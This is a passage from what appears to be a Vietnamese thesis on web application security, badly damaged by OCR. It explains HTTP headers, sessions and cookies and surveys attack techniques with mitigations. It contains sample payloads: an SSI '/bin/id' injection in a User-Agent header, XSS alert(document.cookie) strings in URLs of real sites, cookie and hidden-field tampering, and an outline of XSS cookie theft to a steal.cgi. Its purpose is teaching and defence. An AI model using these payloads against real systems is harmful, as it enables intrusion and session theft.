c6 thé ké dén trong viéc quét ma nguon 1a AppCodeScan do Blueinfy Solutions Pvt.
Ltd. phat trién.

Qua trinh tim kiém 15i bao mat trong m& ngudn ciia tng dung bang phuong
phap tha cong thi phai doi hoi nguoi kiém tra phai c6 mot phuong phap kiém tra va
ra soét hop ly. Boi vi khéi luong tap tin ciing nhu ndi dung trong cac tng dung web
|4 rat 16n, néu nhu khong c6 mot phuong phap ra soat va danh gia hop ly thi s& tiéu
tén rat nhiéu thoi gian dé phat hién 15i.
2.1.6.3 Phwong phap kiém tra Fuzzing

Phuong phap kiém tra fuzzing 16i bao mat thyc chét ciing 1a phuong phap
kiém tra hop den nhung dugc phan ra mot nhanh do né ¢ nhirng dic diém riéng
biét. Cac cong cu sir dung phwong phép fuzzing dé kiém tra I5i bao mat s& khéng
thuc hién viéc quét cau trac thu muc va tap tin cia ang dung web, ma chi don gian
la tap hop tat céc 16i d& duoc cong bd ddi véi ting tng dung web cy thé va thuc
hién dé trinh dén ung dung web xem thir tng dung d6 c6 bi méc cac 16i bao mat hay
khong? Vi du, mot fuzzer kiém tra tat ca cac 16i bao mat lién quan dén ung dung
cong thong tin dién tir Joomla thi n6 sé tap hop tat ca céc 16i bao mat lién quan dén
g dung Joomla va thyc hién dé trinh khi nguoi kiém tra cung cép.

Cach thirc thu thap 16i bao mat: Mot c¢ong cu kiém tra 16i bao mat sir dung
phuong phap kiém tra fuzzing duoc to chirc thanh 2 phan:

+ Phan 1: Tap hop tat ca cac dinh dang URL ma gay ra 15i cho mot tng dung
cu thé. Vi du: 15i bao mat cho ung dung Joomla duoc phat hién nam trong URL:
“index.php?option=com_content&view=article”. URL nay sé¢ dugc luu trong co s&

dir liéu caa chuong trinh cling véi tham sé dé trinh gay ra 13i cua no.



14

+ Phan 2: Tap hop tat ca dac diém nhan dién twong ung véi URL gay ra 15i
trong qua trinh fuzzing. Cac diém nhan dién nay ciing sé luu cing véi URL gay ra
16i trong co s& dir liéu.

Kiém tra 16i bao mat web bang phuong phép kiém tra fuzzing c6 wu diém la
kiém tra nhanh voi mot luong 1on website ma da biét tén (ing dung dang chay. Vi
du, tap hop mot lugng 16n danh sach céc website biét chic chan dang chay ung
dung Joomla thi s& str dung cong cu kiém tra I15i bao mat lién quan dén tng dung
Joomla mot cach nhanh chéng. Nhuge diém cta phuong phap kiém tra nay Ia tinh
¢ dinh duogc t6 chuc cho ting 161 bao mat cho nén 15i bao mat nao mudn kiém tra
thi phai dung dinh dang cia né thi nd mai kiém tra duoc va dau hiéu nhan biét phai
duoc tap hop mot cach day du, khong s& bo x6t. Néu khong thi mac du ang dung d6
c6 161 nhung dir liéu nhan dién thiéu, ciing khong thé phat hién ra 16i bao mat do.

Mot s6 cong cu tiéu biéu: Nikto, AppScan...
2.2. Cac khai niém, thuat ngir lién quan

2.2.1. Http header

HTTP header |a phan dau (header) cua thong tin ma may khach va may chu
gui cho nhau. Nhitng thong tin may khach gui cho may chu dugc goi 1a HTTP
requests (yéu cau), con may chii giri cho may khach 1a HTTP responses (tra 10i).
Thong thuong, mot HTTP header gdm nhiéu dong, mdi dong chira tén tham s va
gia tri. Mot s6 tham sb co thé dugc ding trong ca header yéu cau va header tra 101,
con sb khac thi chi dwoc dung riéng trong ting loai. Vi du :

e Header yéu cau:

GET /tintuc/homnay.asp HTTP/1.1 Accept: */*

Accept-Language: en-us Connection: Keep-Alive Host: localhost
Referer: http://localhost/lienket.asp

User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)

Accept-Encoding: gzip, deflate



http://localhost/lienket.asp
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o Dong dau 1a dong yéu cau cho biét phuwong thirc yéu cau (GET hodc
POST), dia chi yéu cau (/tintuc/homnay.asp) va phién ban
HTTP(HTTP/1.1)...

0 Tiép theo 1a cac tham sb. Chang han nhu:

Accept-Language: Cho biét ngdn ngir ding trong trang web.
Host: Cho biét dia chi cia may chi.
Referer: Cho biét dia chi cua trang web tham chiéu ti.

0 Header cia HTTP request sé két thiic bang mot dong trong,

e Header tra 161

HTTP/1.1 200 OK Server: Microsoft-11S/5.0

Date: Thu, 13 Jul 2000 05:46:53 GMT Content-Length: 2291
Content-Type: text/html Set-Cookie:
ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBC
BMFLJ;

path=/

Cache-control: private

<HTML>

<BODY>

o0 DoOng dau 1a dong trang thai, dé cho biét phién ban HTTP dugc ding
HTTP/1.1), ma trang thai (200) va trang thai (OK).

o Tiép theo 1a cac tham sb.

0 Tiép theo 1a mot dong trong dé bao hiéu két thuc header, tiép theo 1a phan

than cia HTTP response.

2.2.2. Session
HTTP la giao thirc huéng ddi twong tong quat, phi trang thai, nghia 1a HTTP
khong huu trir trang thai 1am viéc gitra trinh duyét véi may chu. Su thiéu sot ndy gay

kho khian cho mot sb img dung web, boi vi may cha khong biét duge trude do trinh
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duyét da c6 nhirng trang thai ndo. Vi thé, dé giai quyét van dé nay, mg dung web
dua ra mot khai niém phién lam viéc (Session). COn sessionID 1a mot chudi dé
ching thyc phién 1am viéc. Mot sé may chu s& cung cap mot sessionID cho nguoi
dung khi ho xem trang web trén may chu.
Dé duy tri phién 1am viéc thi sessionID thudng duoc luu vao:

e  Biéntrén URL

e  Bién 4n form

e  Cookie

Phién lam viéc chi ton tai trong mot khoang thdi gian cho phép, thoi gian nay
duoc cdu hinh quy dinh tai may chu hodc bdi tmg dung thyc thi. May chu s& tu

dong giai phong phién lam viéc dé khoi phuc lai tai nguyén cua hé thong.

2.2.3. Cookie

Cookie l1a nhitng phan dir liéu nho ¢é céu triic dugc chia sé gitra may chil va
trinh duyét ciia nguoi dung.

Céc cookie dugc luu trir dudi nhitng file dir 1iéu nho dang text, dugc Ung
dung tao ra dé luu trit/truy tim/nhan biét cac thong tin vé nguoi ding da ghé tham
trang web va nhiing viing ma ho di qua trong trang. Nhiing thong tin nay c6 thé bao
gom tén/dinh danh ngudi dung, mat khau, s thich, thoi quen... cookie duoc trinh
duyét ctia nguoi dung chap nhéan luu trén dia cing ciia may minh, tuy nhién khong
phai lic nao trinh duyét ciing hd trg cookie, ma con tly thugc vao ngudi diing co
chap nhan chuyén luu trir d6 hay khong.

O nhiing 1an truy cap sau dén trang web d6, ing dung co thé dung lai nhiing
thdng tin trong cookie (nhu thong tin lién quan dén viéc dang nhap vao Yahoo
Messenger...) ma nguoi dung khéng phai 1am lai thao tac dang nhéap hay phai cung
cap lai cac thong tin khac.

Cookie dugc phan lam 2 loai secure/non-secure va persistent/non-persistent
do d6 ta s& c6 4 kiéu cookie 1a:

e  Persistent va Secure
e  Persistent va Non-Secure

. Non-Persistent va Secure
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e  Non-Persistent va Non-Secure

Persistent cookies dugc luu trir dudi dang tap tin .txt (vi du trinh duyét
Netscape Navigator sé luu cac cookie thanh mot tap tin cookie.txt con Internet
Explorer s& luu thanh nhiéu tap tin *.txt trong d6 mdi tap tin 12 Mot cookie) trén
may khach trong mot khoan thoi gian xac dinh.

Non-persistent cookie thi dugc luu trir trén bd nhd RAM ctia may khach va s€
bi hily khi dong trang web hay nhan dugc 1énh huy tir trang web.

Secure cookies chi co thé dugc guri thong qua HTTPS (SSL).

Non-Secure cookie c6 thé duoc giri bang ca hai giao thie HTTPS hay HTTP.
Thuc chit 1a dbi véi secure cookie thi may chi s& cung cip ché do truyén bao mat.

Cac thanh phan ctia mot Cookie gom:

Bang 2.2: Céc thanh phan ciia mot Cookie

Domain Flag |Path | Secure | Expiration | Name Value

www.redhat.com| FALSE / FALSE | 1154029490 | Apache | 64.3.40.151.16
018996349247
480

e Domain: Tén mién cia trang web d& tao cookie (trong vi du trén I
www.redhat.com)

e  Flag: Mang gia tri True hodc False - xac dinh cac may khac vadi cung tén
mién c6 dugc truy xuat dén cookie hay khong.

e  Path: Pham vi cic dia chi c6 thé truy xuét cookie. Vi du: Néu path 1a
“/tracuu” thi cac dia chi trong thu muc /tracuu cling nhu tat ca cac thu muc con
ctia n6 nhu /tracuu/baomat c6 thé truy xuat dén cookie ndy. Con néu gia tri 1a
“/” thi cookie s& duoc truy xudt boi tit ca dia chi thudc mién trang web tao
cookie.

e  Sercure: mang gia tri TRUE/FALSE - Xac dinh day 1a mot secure
cookie hay khong nghia 1a két ndi c6 sir dung SSL hay khong.


http://www.redhat.com
http://www.redhat.com)
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e  Expiration: thoi gian hét han cia cookie, dugc tinh bang gidy ké tir
0:00:00 gio> GMT ngay 01/01/1970. Néu gia tri nay khong duoc thiét lap thi
trinh duyét s& hiéu day Ia non-persistent cookie va chi luu trong b nhé RAM
va sé x0a no khi trinh duyét bi dong.

e  Name: Tén bién (trong truong hop nay la Apache).

e Value: V6i cookie dugc tao o trén thi gia tri cua Apache la
64.3.40.151.16018996349247480 va ngay hét han 1a 27/07/2006, caa tén mién
http://www.redhat.com

Vi du chudi 1énh trong HTTP header dudi diy sé tao mot cookie:

Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/";
domain="www.redhat.com"; path_spec; expires="2006-07-27
19:39:15Z"; version=0

e  Cac cookie cua Netscape (NS) dat trong mdt tap tin Cookies.txt, voi
duong dan 1a: C:\Program Files\Netscape\Users\UserName\Cookies.txt

e  Céc cookies cua IE duoc luu thanh nhiéu tap tin, mdi tap tin 1a mot
cookie va thuong duoc dat  trong C:\Documents and
Setting\[username]\Cookies.

Kich thudc toi da ciia cookie 12 4kb. S6 cookie toi da cho mot tén mién 1a 20

cookie. Cookie bi huy ngay khi dong trinh duyét goi 1a “session cookie”.

2.2.4. Proxy

Proxy cung cap cho nguoi sir dung truy xuat Internet nhiing nghi thirc dit
biét hoac mot tdp nhitng nghi thire thyce thi trén dual_homed host hoac basion host.
Nhiing chuong trinh client cua nguoi sir dung s€ qua trung gian proxy server thay
thé cho server that sy ma nguoi sir dung can giao tiép.

Proxy server xac dinh nhimg yéu cau tir client va quyét dinh dap ng hay
khong dép tmg, néu yéu cau duoc dap umg, proxy server s& két ndi voi server that
thay cho client va tiép tuc chuyén tiép nhitng yéu cau tir client dén server, ciing nhu
tra 10i cta server dén client. Vi vay proxy server giéng cau ndi trung gian giira

server va client.


http://www.redhat.com
http://www.redhat.com
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2.3 Giéi thiéu so lwgc vé cac ky thuat tin cong ing dung web

Cac 15 hong co thé dugc tao ra trong sudt giai doan phat trién Gmg dung web
va ching sé dugc cac hacker tdn dung khi ung dung dugc dua vao sir dung. Ung
dung web tiép nhan cac yéu cau nguoi dung qua giao thirc HTTP. Cac tin cong
duoc chén trong cac yéu cau nguoi dung vi thé c6 thé qua dugc tuong lira, b loc,
nén tang phan cimg va cac hé thong phat hién xam nhap. Boi vi cac yéu cau nay la
hoan toan hop 1&. Cac tin cong nay co thé vuot qua duoc cac website sir dung SSL.
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Hinh 2.3: Thdng ké c4c 16 hong duoc phat hién
Va theo théng k& nam 2015 cia cong ty White Hat Security [6] chuyén vé
bao mat web, thi ti 1é cac trang web mac phai cac loai 156 hong bao mat 1a khac nhau,

cu thé dugc thé hién trong biéu d6 sau:
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Hinh 2.4: Ti 1¢ phan tram cac loai 16 hong bao mat.

Sau day 1a cac khai niém so lugc cac k¥ thuat tan cong ung dung web da

duogc phan loai dua trén mirc do gay tac hai dbi voi ung dung.

2.3.1. Kiém soat truy cap web (Web Access Control)

Trong qua trinh thiét ké ang dung, nhitng ngudi phat trién tmg dung co thé

cai mot “ctra sau” (back door) dé sau ndy c6 thé tham nhap vao hé théng mot cach

dé dang.

2.3.2. Chiém hiru phién Iam vigc (Session Mangement) [7]

2.3.2.1. An dinh phién lam viéc (Session Fixation)
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La ki thuat tin céng cho phép hacker mao danh ngudi ding hop 1€ bang cach
gui mot session ID hop 1& dén ngudi ding, sau khi nguoi ding dang nhap vao hé
thdng thanh cong, hacker s& dung lai session ID d6 va nghiém nhién tré thanh nguoi
dung hop 1€.
2.3.2.2. Banh cdp phién lam viéc (Session Hijacking)

La ki thuét tan cong cho phép hacker mao danh nguoi ding hop 18 sau khi
nan nhan d4 diang nhap vao hé thong bang cach giai ma session ID cua ho duoc luu

trir trong cookie hay tham s6 URL, bién an cua form.

2.3.3. Loi dung cdc thiéu sét trong viéc kiém tra dir liéu nhiap hop 1é (Input
validation)

Hacker loi dung nhitng 6 nhap dir liéu dé giri di mot doan mé bat ki khién
cho hé thong phai thyc thi doan 1énh d6 hay bi pha v& hoan toan.
2.3.3.1. Kiém tra tinh ding dan ciia dir liéu bang ngoén ngit phia trinh duyét (Client-
Side validation)

Do ngon ngir phia trinh duyét (JavaScript, VBScript..) dugc thuc thi trén
trinh duyét nén hacker c6 thé sira d6i ma nguon dé co thé vo hiéu hoa su kiém tra.
2.3.3.2. Tran bg dém (Buffer OverFlow)

Mot khéi luong dit liéu duoc giri cho tng dung vuot qua lugng dir lidu dugc
cap phét khién cho mg dung khong thuc thi dwgc cau lénh dy dinh ké tiép ma thay
vao d6 phai thyc thi mot doan ma bat ki do hacker dua vao hé théng. Nghiém trong
hon néu ing dung dugc cau hinh dé thyc thi véi quyén root trén hé thong.
2.3.3.3. M@ hoa URL (URL Encoding)

Loi dung chuan ma hda nhimg ki tu dic biét trén URL ma hacker s& ma hoa
tu dong nhimng ki ty bat hop 18 - nhiing ki tu bi kiém tra bang ngén ngir kich ban -
dé vuot qua vong Kiém soat nay.
2.3.3.4. Ki ty Meta (Meta-characters)

Str dung nhiing ki tu dic biét hacker c¢6 thé chén thém vao dir liéu giri nhing
ki tu trong chudi cau lénh nhu <script> trong ki thuat XSS... dé thuc thi cau lénh.
2.3.3.5. Vot qua dwong ddn (Path Traversal)
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La phuong phép loi dung duong dan truy xuat mot tap tin trén URL dé tra
két qua vé cho trinh duyét ma hacker c6 thé 1ay duoc ndi dung tap tin bat ki trén hé
théng.
2.3.3.6. Chén ma Iénh thuc thi trén trinh duyét nan nhan (Cross-Site Scripting)[8]

Day 1a ki thuat tn cong chii yéu nham vao thdng tin trén may tinh cia nguoi
dung hon 1a vao hé thong may cha. Bang cach thém mot doan ma bét ki (thuong
duogc 1ap trinh bang ngon ngir kich ban nhu JavaScript, VBScript...), hacker ¢ thé
thuc hién viéc danh cap thong tin quan trong nhu cookie dé tir d6 trd thanh nguoi
ding hop 18 cta ung dung... dua trén nhitng thong tin danh cip nay. Cross-Site
Scripting [9] ciing 12 mot kiéu tdn cong “session hijacking”.
2.3.3.7. Thém cau lénh hé théng (OS Command Injection)

Kha nang thuc thi duoc nhitng cau 1énh hé thdng hay nhitng doan ma duogc
thém vao trong nhimg tham s6 ma khong c6 sy kiém tra chat ché nhu tham s cua
form, cookies, yéu cau HTTP Header, va nhitng dir liéu nguy hiém trong nhiing tap
tin duoc dua Ién trinh chu.

Thanh cong trong ki thuat nay gilp hacker c6 thé thuc thi duoc nhitng céu
Iénh hé thong véi cling quyén cia trinh chu.
2.3.3.8. Chén cau truy vdan SOL (SOL Injection)

Trong lap trinh véi co so dit lidu, nguoi lap trinh d4 sai s6t trong van dé kiém
tra gi4 tri nhap vao dé tir d6 hacker loi dung thém vao nhimng ciu truy van hay
nhiing gia tri khong hop 1¢ dé dé dang dang nhap vao hé thng.
2.3.3.9. Ng0On ngit phia may chu (Server side includes)

La kha ning thém vao nhimg cau lénh thudc hé thdng nhu nhung file
(include file), truy xuat co s& dit liéu (jdbc)... khién cho hacker c6 co hoi truy xuat
dén file, co so dit lidu... ma binh thuong khong thé xem dugc trén website.
2.3.3.10. Ki tw rong (Null Characters)

Loi dung chudi ki tu thuong két thiic bang \O ma hacker thuong thém vao dé
danh ltra mg dung vi véi nhitng Gng dung sir dung chuong trinh cgi nhu C++ thi
C++ cho rang \0 1a dau két thuc chudi.

Vi du: Hacker thém chudi sau:
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O nhap: dé tai thir nhat \O<script> alert(document.cookie)</script> néu ting
dung sir dung chuong trinh C++ dé kiém tra tinh dung dan cta chudi thi chudi trén
hop 18 do C++ s& nhan biét “\0” 1a két thiic chudi nén khéng kiém tra doan sau.
2.3.3.11. Thao tac trén tham s truyén (Parameter manipulation)

Nhiing thong tin trao ddi giita may chu va trinh duyét dugc luu trit trong
nhitng bién nhu bién trén URL, bién an form, cookie... Boi vi viéc kiém soat bién
chua dugc quan tdm ding mirc nén hacker c¢d thé loi dung stra doi gia tri bién dé

danh cap phién lam viéc cua ngudi dung hay thay d6i gia tri mot mén hang.

2.3.4. B¢ 1§ thong tin (Informational)

Nhiing tap tin va ing dung trén hé thong chira nhiing thong tin quan trong
nhu ma nguén mot trang web hay tap tin chira mat khau cta nguoi dung trén hé
thdng ludn 12 muc tiéu cia hacker. Ngodi ra nhimg 1oi cha thich trong m& nguon
cling 12 ngudn thong tin hiru ich cho hacker.

Hacker str dung HTTP response tir hé thong dé xac dinh mot tap tin hay @ng
dung c6 ton tai hay khong.

Vi du:
e  HTTP 200: tap tin ton tai
e  HTTP 404: tap tin khong ton tai.

2.4 Thao tac trén tham sé truyén

Thao tac trén tham sb truyén 1a ki thuat thay do6i thong tin quan trong trén
cookie, URL hay bién an coa form. Ki thuat Cross-Site Scripting [9], SessionID,
SQL Injection, Buffer Overflow... ciing can ding dén cac tham s nay dé hoan
thién cac budc tan cong cia hacker. CO thé noi cac tham sé truyén 1a dau mdi cho

moi hoat dong cuia hacker trong qua trinh tan cong ing dung.

2.4.1 Thao tac trén url
2.4.1.1 Khai niém:
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Khi nhap mot form HTML thi két qua s& duoc giri di theo hai cach: GET hay
POST. Néu dung GET, thi tat ca cac tén bién va gia tri cia no s& xuét hién trong
chudi URL.

Vi du: C6 mot trang web tmg dung cho phép thanh vién ¢ dugc thay doi mat khau.

http://www.nganhang.com/example?user=thang&newpass=123

Véi:
e  username la tén nguoi can thay d6i mat khau.

e newpass la mat khau méi cho username

Tuy nhién, bang cach thay d6i tham s nhu sau:

http://www.nganhang.com/example?user=admin&newpass=111111

Hacker d4 c0 thé thay d6i mat khau ciia admin bang mot mat khau méi bat ki, trong
vi dunayla“111111".
2.4.1.2. Mét s6 bién phdp khdic phuc [5]
Dé chdng lai kiéu thay d6i ndi dung mot chudi URL, ing dung co thé ap
dung bién phap sau:
e  Ung dung sir dung co ché bang bam (hash table). Sau khi nguoi ding
chung thyc thanh cdng véi mot username, (rng dung s€ sinh ra mot khoa tuong
tmg. Khoa nay s& duoc luu trén server ciing véi bién username trong ddi tuong
bang bam. Mdi khi nguoi dung két néi dén tmg dung, khoa va username nay
s& duoc gui di va duoc so sanh voi khéa va username trong bang bam. Néu
tuong tmg v4i ban ghi trong dit liéu thi hop 1&. COn néu khong thi server biét
rang nguoi dung d thay d6i URL.
e Ngoai ra, véi nhitng thong tin ¢ gia tri, can ma hoa thong tin nay trudc

khi cho hién thi trén trinh duyét dé tranh hacker c6 thé stra doi tly .

2.4.2 Thao tac trén bién an form
2.4.2.1 Khai niém
Théng tin ¢6 thé dugce chuyén doi thong qua mot bién an cua form, goi 12

Hidden Form Field. Bién 4n form khong hién thi trén man hinh trinh duyét nhung


http://www.nganhang.com/example?user=admin&newpass=111111
http://www.nganhang.com/example?user=thang&newpass=123
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ngudi ding co thé tim thdy ndi dung ciia né trong “view source”, vi thé day 1a mot
diém yéu dé hacker lgi dung bang cach luu noi dung trang web xubng trinh duyet,
thay doi noi dung trang va giri dén trinh chu.

Vi du: Form gbc ¢6 ndi dung nhur sau:

<form action="http://www.tancong.com/cuahang.pl" method="POST">

<input type="hidden" name="giaca" value="99.99">

</form>

Néu khong co su thay doi nao thi ydu cau dén mdy chii ¢6 ndi dung:

POST /cuahang.pl HTTP/1.0

giaca=99.99

Nhung néu hacker gan mot gia tri khac cho trudong “giaca”:

<form action="http://www.tancong.com/cuahang.pl" method="POST">

<input type="hidden" name="giaca" value="0.99">

</form>

Thi yéu cau s& thay doi:

POST /cuahang.pl HTTP/1.0

giaca=0.99

Ngoai viéc thay d6i noi dung bién an ciia form, hacker con bién doi ndi dung
cac thanh phéan trong form, nhu chiéu dai cia mot 6 nhap dir lidu dé thyc hién viéc
tan cong “BUFFER OVERFLOW?.
2.4.2.2. Mét s6 bién phdp khdic phuc [5]


http://www.tancong.com/cuahang.pl
http://www.tancong.com/cuahang.pl
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e  Chi nén s dung bién 4n cua form dé hién thi dir liéu trén trinh duyét,
khong dugc sir dung gia tri ciia bién dé thao tac trong xtr Iy ing dung.

e Dung bién HTTP_REFERER dé kiém tra ngudn gdc ciia yéu cau giri
dén, tuy nhién hacker c6 thé sir dung Proxy dé che dau ngudn gdc thuc ciia no,
Vi vay ciing khong nén qua tin tuong bién HTTP_REFERER dé kiém tra.

° Ghép tén va gia tri ciia bién an thanh mot chudi don. St dung thuat toan
ma hda MD5 hodc mot kiéu hash mot chiéu khac dé tong hop chudi d6 va luu
n6 vao mot hidden field goi 1a “Chudi mau”. Khi gia tri trong form duoc guri
di, cac thao tac nhu trén dugc thuc hién lai voi cung mot khoa ma ta dinh
trudc. Sau d6 dem so sanh véi “Chudi mau”, néu chung khdng khép nhau thi
ching t gia tri trong biéu mau d4 bi thay doi.

e Dung mot sessionID dé tham chiéu dén thong tin dugc luu trit trén co s

dir liéu.

2.4.3 Thao tac trén cookie
2.4.3.1. Khai niém

Vi cookie la thanh phan luu trir théng tin bao mat nhat nén Cookie thuong
duoc dung dé luu giit trang thai cho giao thic HTTP hon 14 bién 4n form va bién
URL. N6 con dugc dung dé luu trir nhimg thong tin ciia nguoi ding khi sir dung
tmg dung va nhirng dit liéu khac cua session. TAt ca cac loai cookie nhu persistent
hay non-persistent, secure hay insecure déu c¢6 thé bi thay doi bai nguoi ding va
duoc giri vé cho trinh chi. Do d6 hacker c6 thé thay d6i ndi dung cookie dé pha
hoai img dung.

V6i nhitg cong cu mién phi nhu Winhex thi non-persistent cookie cé thé bi
thay d6i ndi dung. Con SSL chi co thé bao vé cookie trong qua trinh truyén.

Vi du: vé cookie dung dé luu trir thong tin cho tmg dung web thong tin du
lich:

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT;




27

Cookie xac dinh nguoi dung nay khong phai 1a Admin (ADMIN=no), nhung
néu hacker thay ddi truong nay diéu gi s& xay ra? Hacker co thé thay dbi lai thanh

nhu sau:

Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT;

Hacker l0c nay mang vai tro 1a mdt nguoi quan tri ciia tng dung:
2.4.3.2. Mét s6 bién phdp khdic phuc [5]

e  Su dung ddi twong session luu trir théng tin quan trong trén May chu.
Khi ing dung can kiém tra thong tin cia mot ngudi ding, tmg dung s& ding
sessionID ctia nguoi dung dé chi dén thong tin ctia nguoi dung d6 trong cache
hay co s¢ dit lidu.

e XAy dung mdt co ché kiém tra ndi dung cila cookie dé tim ra nhiing gia
tri khéng hop 18 tir d6 biét dugc cookie d6 1a gia. Vi du 12 néu bién co “ngudi
quan tri” duge duoc thiét lap 1a dung trong cookie, nhung gié tri cta sb thu tyr
ngudi dung trong cookie lai khong gidng nhu gié tri sé thir tw ciia “ngudi quan
tri” duoc luu trix trén server.

e  Phuong phap cubi cing la ma hoéa cookie. C6 mot sd phuong phap méa
héa nhu symmetric (ding 1 khéa duy nhat cho ca ma hda va giai ma) hay
asymmetric (ma hda dung 2 khda riéng biét, mot khoéa dung chung cho ma hda

va mot khoa riéng dé giai ma).

2.4.4 Thao tac trong http header

URL, bién an form, cookie déu 1a nhitng thanh phan luu trit thong tin ma
nguoi dung thong thuong c6 thé xem va thay doi. Tuy nhién, nhiing thanh phan do6
déu dugc chuyén di thong qua HTTP Header. Vi thé, mic du HTTP Header khdng
phai 1a tham sb truyén ctia mot tmg dung nhung moi thong tin déu dugc luu trir vao
no trude khi chuyén di nén trong phan nay s& dé cap dén viéc thay d6i mot HTTP
Header.
2.4.4.1. Khai ni¢m

Thong thuong chi c6 trinh duyét va trinh chii 1a trao d6i HTTP Header, cOn

hau hét cac tmg dung web thi khdng. Tuy nhién, hacker c6 thé tu viét mot chuong



28

trinh dé diéu khién HTTP header (nhw xem ndi dung, tao mai) hay sir dung cac
proxy mién phi cho phép thay doi dir liéu duoc giri tir trinh duyét. Ngoai ra hacker
c6 thé tan cong truc tiép bang cach telnet giri HTTP Request dén trinh chu.

Vi du:

su-2.05# telnet localhost 80

Trying 127.0.0.1...

Connected to localhost.

Escape character is "]'.

GET /HTTP/1.0

Referer: www.redhat.com/login.asp
User-Agent: <!--#exec cmd=""/bin/id""-->
HTTP/1.1 200 OK

Date: Mon, 17 Dec 2001 20:39:02 GMT
Server:

Connection: close

Content-Type: text/html

Phan in dam 1a noi dung hacker thay doi.
Vidu:

Referer header chita URL cula trang web ma tir d6 yéu cau duoc gui di. Vi
thé mot vai tmg dung sé& kiém tra thanh phan nay trong header dé dam bao rang né
duoc gui tir trang web cua ung dung d6. Viéc 1am nay dung dé ngin chin viéc
hacker luu lai trang web xuéng may, chinh sira thudc tinh form, pha hoai bang cach
nham vao client side validate hay server side include, sau d6 gui di. Nhung phuong
phap kiém tra ndy sé& that bai khi hacker co thé sira lai Referer header dé no giéng

nhu dugc gui tir trang web hop 1€.

Referer: www.redhat.com/login.asp

2.4.4.2. Mét s6 bién phdp khdc phuc [5]


http://www.redhat.com/login.asp
http://www.redhat.com/login.asp
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Pon gian 1a khdng tin tuong vao HTTP header néu chua c6 cac bién phap an
toan. V6i cac header gii tir trinh chii, chang han nhu cookie thi ¢6 thé duoc ma hoa.
Con Véi cac header giri tir trinh khach thi khéng nén ding cac tham sé nhu
referer,... dé thuc hién cac bién phap an toan.

Nhan xét: Moi thong tin quan trong trao doi giita trinh duyét va trinh chi
khdng nén luu trir dudi dang chudi thong thudng ma can duoc ma hoa, ngoai ra
nhitng thong tin nay nén duoc kiém tra, dbi chiéu véi dir liéu trong co s¢ dir liéu
hay trong cache cua trinh cha, phong tranh truong hop ndi dung thong tin bi sai
léch.

Bén canh do, viéc kiém tra di liéu dung dan 1a can thiét vi hau nhu cac ki
thuat tin cong déu dua vao dir liéu nhap trén URL, bién an form hay cookie nhu

kiéu tan cong Cross-Site Scripting, SQL Injection.

2.5 Chén ma Iénh thuye thi trén trinh duyét nan nhan (Cross Site
Scripting)

2.5.1. Ky thuit tan cong cross site scripting (XSS)

Phuong phép Cross Site Scripting (dugc viét tat 1a XSS) la phuong phap tan
cong bang cach chén thém nhiing doan ma c6 kha nang danh cap hay thiét lap duoc
nhiing thong tin quan trong nhu cookies, mat khau,... vao ma nguon tmg dung web
dé tir d6 chiing dugc chay nhu 1a mot phan cia tmg dung web va ¢ chirc nang cung
cap hodc thyc hién nhiing nhimg diéu hacker mudn.

Phuong phap nay khong nham vao may chu hé thong ma chii yéu tin cong
trén chinh may nguoi str dung. Hacker sé loi dung su kiém tra 1ong Iéo tir Gmg dung
va hiéu biét han ché cua nguoi dung ciing nhu biét danh vao sy t0 mo cia ho dan
dén ngudi dung bi mat thong tin mot cach dé dang.

Thoéng thuong hacker loi dung dia chi URL dé dua ra nhirng lién két 1a tac
nhan kich hoat nhitng doan chuong trinh duoc viét bang ngén ngit may khach nhu
VBScript, JavaScript... dugc thuc thi trén chinh trinh duyét clia nan nhan.

Vi du:
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http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert
(document.cookie);</script>
http://lwww.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_t
ext=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Phan in dam 1a doan ma duoc thém vao voi muc dich danh cdp cookies cua
nan nhan. Trong vi du trén, hau hét nhitng tién t& URL 1a dia chi cua nhimg ung
dung web co that (VD: http://hotwired.lycos.com/webmonkey,
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) loi dung cach truyén tham s6
trén URL ma hacker c6 thé dé dang thém vao doan ma danh céap cookie.

Vi du trén chi minh hoa mot cach don gian 1a thém doan mé& ctia minh vao
trang web thong qua URL. Nhung thuc sy thi ¢ rat nhiéu cach dé thém doan ma
JavaScript véi muyc dich tdn cong kiéu XSS. Hacker c¢6 thé dé dang loi dung
Document Object Model (DOM) dé thay doi ngit canh va noi dung tmg dung web.

2.5.2. Phwong phap tin cong XSS

Ung dung web thuong luu trir thong tin quan trong & cookie. Cookie 1a mau
thdng tin ma tng dung luu trén dia cing cua ngudi st dung. Nhung chi tng dung
thiét 1ap ra cookie thi méi c6 thé doc nd. Do d6 chi khi ngudi ding dang trong phién
lam viéc cua img dung thi hacker mai c6 co hoi danh cip cookie.

Cong viéc dau tién cua hacker 1a tim trang dich dé du nguoi ding ding nhap
sau khi d& tim ra 16 hong trén tng dung do.

Cac budc thyc hién XSS truyén thong:

K& tin cong dang nhap
vao Umg dung véi cookie
vira dn cap duge

Ung dung Web (
(Hotmail, Yahoo...)] ™ 5

tin nguedi ding vao logfile

Doan ma duoce phan 5 i
2 e 2 guroi ding 3
phoi qua email hay —) Ung dung Web %
trang web )



http://hotwired.lycos.com/webmonkey,
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...)
http://hotwired.lycos.com/webmonkey/00/index1.html?tw=
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_t
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Hinh 2.5: Qua trinh thyuc hién XSS

TOm tit cic bude thuc hién:

e  Budc 1: Hacker biét dugc ngudi dung dang sir dung mot ing dung web
c6 16 hong XSS.

e  Budc 2: Ngudi ding nhan duoc 1 lién két thong qua email hay trén chinh
trang web (nhu trén guestbook, banner d& dang thém 1 lién két do chinh
hacker tao ra...). Thong thuong hacker khién ngudi dung chll ¥ bang nhiing

cau kich thich sy to mo ciia ngudi ding nhu “Kiém tra tai khoan”, “Mot phan

thuong hap dan dang cho ban”,...

e  Budc 3: Chuyén noi dung thong tin (cookie, tén, mat khau...) vé may

chu cua hacker.

e  Budc 4: Hacker tao mot chuong trinh cgi (¢ vi du bén dudi 1a steal.cgi)

hoac mot trang Web dé ghi nhan nhiing thong tin ¢4 danh cip vao 1 tap tin.
